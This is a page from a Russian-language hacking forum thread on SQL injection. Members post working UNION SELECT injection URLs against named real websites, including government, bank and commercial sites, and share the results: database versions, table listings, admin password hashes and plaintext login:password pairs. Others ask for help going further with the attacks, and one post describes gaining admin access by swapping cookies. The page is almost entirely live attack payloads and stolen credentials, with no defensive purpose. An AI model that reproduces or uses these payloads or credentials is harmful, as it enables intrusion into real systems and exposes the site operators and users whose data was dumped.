SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 169 of 798
  1. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    тогда уж так:
    Code:
    http://www.auburn.edu/oit/oitnews/article.php?num=57[B]/*![/B]40000+a'nd+0+*/
     
    #3361 Scipio, 21 Oct 2007
    1 person likes this.
  2. Maxyks

    Maxyks Banned

    Joined:
    8 Sep 2007
    Messages:
    174
    Likes Received:
    288
    Reputations:
    20
    Code:
    http://www.vive.gob.ve/programas.php?id_p=-1+union+select+1,2,aes_decrypt(aes_encrypt(version(),0x71),0x71)/*
    4.1.11-Debian_4sarge7-log
    Code:
    http://www.fitologica.it/indicazioni.php?id_p=-1+union+select+1,2,3,4,5,6,7,concat(user(),0x3a,version(),0x3a,database()),9,10,11,12,13,14,15,16/*
    fitologica_it@localhost:4.1.21:fitologica_it
    Code:
    http://www.undergroundkiteboards.com/detail_product.php?id_p=-1+union+select+1,2,3,4,concat(user(),0x3a,version(),0x3a,database()),6/*
    [email protected]:4.0.27-standard-log:undergro
    Code:
    http://www.undergroundkiteboards.com/detail_product.php?id_p=-1+union+select+1,2,concat(login,0x3a,pwd),4,5,6+from+user+limit+0,1/*
    dd:d adrian:bernie12 aaron:as7155as
    Code:
    http://www.brightstar-hid.com/product_info_e.php?UID=-1'+union+select+1,2,3,4,5,6,7,8,9,10,concat(user(),0x3a,version(),0x3a,database()),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33/*
    brightstar@localhost:5.0.22:brightstar_com_tw
    Code:
    http://voyag-lux.ru/chapter28.html?uid=-1+union+select+1,aes_decrypt(aes_encrypt(user,0x71),0x71),3,aes_decrypt(aes_encrypt(password,0x71),0x71),5,6,7+from+mysql.user/*
     
    #3362 Maxyks, 21 Oct 2007
    1 person likes this.
  3. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    kazan.ws

    http://kazan.ws/cgi-bin/republic/viewDG.pl?a=fa&id=-1+union+select+1,2,concat(version(),0x2F,database(),0x2F,user()),4,5,6,7,8,9,10,11/*

    4.0.26/kazan/[email protected]

    http://kazan.ws/cgi-bin/republic/viewDG.pl?a=fa&id=-1+union+select+1,2,concat(name,0x2F,password),4,5,6,7,8,9,10,11+from+users+limit+1,1/*

    имя/пароль

    123/123
     
    #3363 ElteRUS, 21 Oct 2007
    2 people like this.
  4. Fugitif

    Fugitif Elder - Старейшина

    Joined:
    23 Sep 2007
    Messages:
    407
    Likes Received:
    227
    Reputations:
    42
    website-security-software

    Code:
    https://www.website-security-software.com/portfolio-view.asp?cmd=view&ref=1%20and%201=convert(int,db_name())--
     
    #3364 Fugitif, 21 Oct 2007
    2 people like this.
  5. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    showcase.ru

    http://www.showcase.ru/photo.php?photoid=-1+union+select+concat(version(),0x2F,database(),0x2F,user()),2/*

    5.0.45-log/u17392/[email protected]


    http://www.showcase.ru/photo.php?photoid=-1+union+select+concat(admin,0x2F,admin_pw,0x2F,admin_email)),2+from+phpads_config/*

    admin/070d140eab0b74231c3a7fdaef1dea1b/[email protected]


    Таблица phpbb_users

    http://www.showcase.ru/photo.php?photoid=-1+union+select+concat(0x5B,username,0x2F,user_password,0x2F,user_icq,0x5D),2+from+phpbb_users/*

    имя/хеш/уин


    Таблица sziget_phpbb_users

    http://www.showcase.ru/photo.php?photoid=-1+union+select+concat(0x5B,username,0x2F,user_password,0x2F,user_icq,0x5D),2+from+sziget_phpbb_users/*

    имя/хеш/уин


    Бывает, что если сразу грузить ссылку со скулей получеам чистый экран с надписью Oops!!! . Если же выполнять скулю поэтапно с ссылки-первоисточника то все работает
     
    #3365 ElteRUS, 21 Oct 2007
  6. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    Две интересные инъекции:
    Code:
    http://www.posarellivillas.com/it/testimonials.php?start_limit=0&length_limit=5&sort_type=DESC&sort_value=(select+if(ascii(substring(version(),1,1))=53,propertyid,city))
    Code:
    http://imoti.bulgaria-web-developers.com/property-for-sale.php?order=-id*(ascii(substring(version(),1,1))=53)+DESC&page_number=30&type=&location=
    как видно везде 5-я версия мускула

    кто первый скажет в чем прикол, поставлю ++
    (репа должна быть меньше 100)
    ответы мне в личку
     
    #3366 Scipio, 22 Oct 2007
    Last edited: 22 Oct 2007
    1 person likes this.
  7. sasTO

    sasTO Banned

    Joined:
    2 Aug 2007
    Messages:
    205
    Likes Received:
    230
    Reputations:
    14
    МУЗЫКА

    код:

    http://www.intenserecords.co.uk/news.php?id=-780+union+select+1,2,3,concat(id,0x3a,name,0x3a,password,0x3a,email),5+from+users+limit+1258,1/*
     
    #3367 sasTO, 22 Oct 2007
    3 people like this.
  8. 0nep@t0p

    0nep@t0p Elder - Старейшина

    Joined:
    25 May 2007
    Messages:
    134
    Likes Received:
    216
    Reputations:
    17
    Городской совет Новосибирска
    User: root@localhost
    Version: 4.1.9

    Username: root
    Hash: EC91857AA1C8BFF0FCAE9AD2D5E8B6D89CFB3316

    Power of metal
    Вообще-то сайт - один сплошной phpBB форум, который админы не патчили давненько, бага в нем еще 2004 года...
    User: helloween@localhost
    Version: 4.0.24_Debian-10sarge1-log
    Для работы скули нуно зарегится на форуме
    PhpBB admin name: Alex
    PhpBB admin hash: 687f270ddf67dd0bb8185edfef3fe4e1
    Через подмену куков становимся админами
     
    #3368 0nep@t0p, 22 Oct 2007
    Last edited: 22 Oct 2007
    4 people like this.
  9. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Уязвимость в BBPortalS <=2.0
    Поиск в гугл: inurl:"tnews.php?op"
    Пример:
    _www.actupix.net
    Скуль:
    Code:
    _http://www.actupix.net/tnews.php?op=tnews&id=-1+union+select+1,2,3,4,5,concat(version(),0x3a,user(),0x3a,database()),7,8,9,10,11,12/*
    Смотрим названия таблиц, меняя параметр limit:
    Code:
    _http://www.actupix.net/tnews.php?op=tnews&id=-1+union+select+1,2,3,4,5,table_name,7,8,9,10,11,12+from+information_schema.tables+limit+0,1/*
    CHARACTER_SETS
    COLLATIONS
    ----------
    zypibot
    85 таблиц.
    Code:
    _http://www.actupix.net/tnews.php?op=tnews&id=-1+union+select+1,2,3,4,5,table_name,7,8,9,10,11,12+from+information_schema.tables+limit+84,1/*
    Колонки:
    Code:
    _http://www.actupix.net/tnews.php?op=tnews&id=-1+union+select+1,2,3,4,5,column_name,7,8,9,10,11,12+from+information_schema.columns+limit+0,1/*
    Таблица users:
    Code:
    _http://www.actupix.net/tnews.php?op=tnews&id=-1+union+select+1,2,3,4,5,concat(login,0x3a,pass),7,8,9,10,11,12+from+users/*
    Админ (меняем limit и смотрим других юзеров):
    Code:
    _http://www.actupix.net/tnews.php?op=tnews&id=-1+union+select+1,2,3,4,5,concat(login,0x3a,pass),7,8,9,10,11,12+from+users+limit+1,1/*
    Admin:418685582e6f6e65516b90feaeab6518
    Patrice:418685582e6f6e65516b90feaeab6518

    PS Есть эксплоит
     
    #3369 -=lebed=-, 22 Oct 2007
    Last edited: 22 Oct 2007
    2 people like this.
  10. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    Code:
    http://www.ewebarchitecture.com/tip.php?id=-292+UNION+SELECT+1,2,3,4,5,6,7,8,9+from+admin/*
    Помагите раскрутить ;)
     
    #3370 Xszz, 22 Oct 2007
  11. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Смотрим таблицы:
    Code:
    _http://www.ewebarchitecture.com/tip.php?id=-292+UNION+SELECT+1,2,3,4,5,6,table_name,8,9+from+information_schema.tables+limit+[U]0[/U],1/*
    ЗЫ всё аналогично посту выше... (57 таблиц)
     
    #3371 -=lebed=-, 22 Oct 2007
    Last edited: 22 Oct 2007
  12. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    ЛОгин пароль не могу найти ;)
    Таблицы вынул ...

    И вот ещё
    Code:
    http://www.indonesia-ottawa.org/information/details.php?type=speech&id=-141+UNION+SELECT+1,2,concat(char(64,64),user,char(58),password,char(64,64)),4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+mysql.user/*
    Нет вывода ХЭША пароля ...
     
    #3372 Xszz, 22 Oct 2007
  13. Maxyks

    Maxyks Banned

    Joined:
    8 Sep 2007
    Messages:
    174
    Likes Received:
    288
    Reputations:
    20
    Code:
    http://www.indonesia-ottawa.org/information/details.php?type=speech&id=-141+UNION+SELECT+1,2,concat(char(64,64),user,char(58),password,char(64,64)),4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+mysql.user+limit+1,2/*
    итд лимитом 2,2 3,2...
     
    #3373 Maxyks, 22 Oct 2007
    Last edited: 22 Oct 2007
    1 person likes this.
  14. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    А рут все равно не показывает хэш ...
     
    #3374 Xszz, 22 Oct 2007
  15. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    Code:
    http://www.shacknews.com/featuredarticle.x?id=-520+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33+FROM+accounts/*
    Помагите вывести поля ICQ и Password .
    У меня сайт еле загружается ...
    Спасибо ..
     
    #3375 Xszz, 22 Oct 2007
    1 person likes this.
  16. halkfild

    halkfild Members of Antichat

    Joined:
    11 Nov 2005
    Messages:
    365
    Likes Received:
    578
    Reputations:
    313
    ru-board.com
    яндекс Тиц - 1300
    Google: PR - 4    http://ru-board.com/new/article.php?sid=61'

    http://ru-board.com/new/article.php?sid=61+and+1=1/*'
    http://ru-board.com/new/article.php?sid=61+order+by+1/*'

    нормального вывода нет мона попробовать раскрутить как блинд

    з.ы. случайно под руку попалась)) специально не смотрел

    з.ы.тут такое же
     
    _________________________
    #3376 halkfild, 22 Oct 2007
  17. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    http://ru-board.com/new/print.php?sid=null+union+select+1,2,3,4,5,6/*
     
    #3377 guest3297, 22 Oct 2007
    1 person likes this.
  18. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    http://www.ofmycity.com/afisha/?a=seeitem&id=-1+union+select+1,2,3,4,5,6,concat(version(),0x2F,database(),0x2F,user()),8,9/*

    5.0.37-log/afisha/afishamoder@localhost


    http://brand.xab.info/modules.php?op=modload&name=News&file=article&sid=-1+union+select+1,2,3,4,5,6,7,concat(version(),0x2F,database(),0x2F,user()),9,10,11,12,13,14,15,16,17,18,19,20,21/*

    4.0.24/xabinfo/portal@localhost


    http://www.bodybuilding.spb.ru/index.php?lan=ru&cont=news&id=-1+union+select+1,2,concat(version(),0x2F,database(),0x2F,user()),4,5,6,7/*

    4.0.20-standard/whbody1/whbody1@localhost


    http://www.zyll.net/news.php?id=-1+union+select+1,concat(version(),0x2F,database(),0x2F,user()),3,4,5,6,7/*

    4.1.22-log/freemp3_slovo/freemp3_slovo@goliaph
     
    #3378 ElteRUS, 23 Oct 2007
    2 people like this.
  19. -MoLoToK-

    -MoLoToK- Elder - Старейшина

    Joined:
    4 Oct 2007
    Messages:
    30
    Likes Received:
    23
    Reputations:
    3
    Code:
    http://www.llatalent.com/current/index.php?current_id=999999+union+select+1,2,concat(version(),0x2F%20,database(),0x2F,user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/*
    4.0.27-standard/admin_llatalent_com/[email protected]
     
    #3379 -MoLoToK-, 23 Oct 2007
    Last edited: 23 Oct 2007
  20. 0nep@t0p

    0nep@t0p Elder - Старейшина

    Joined:
    25 May 2007
    Messages:
    134
    Likes Received:
    216
    Reputations:
    17
    Промторгбанк
    Version: 4.0.24-log
    User: wechsel@localhost

    Username (mysql): root
    Password (mysql): 5be593ab2a724d73: q1w2e3r4
     
    #3380 0nep@t0p, 23 Oct 2007
    1 person likes this.
(You must log in or sign up to post here.)
Page 169 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.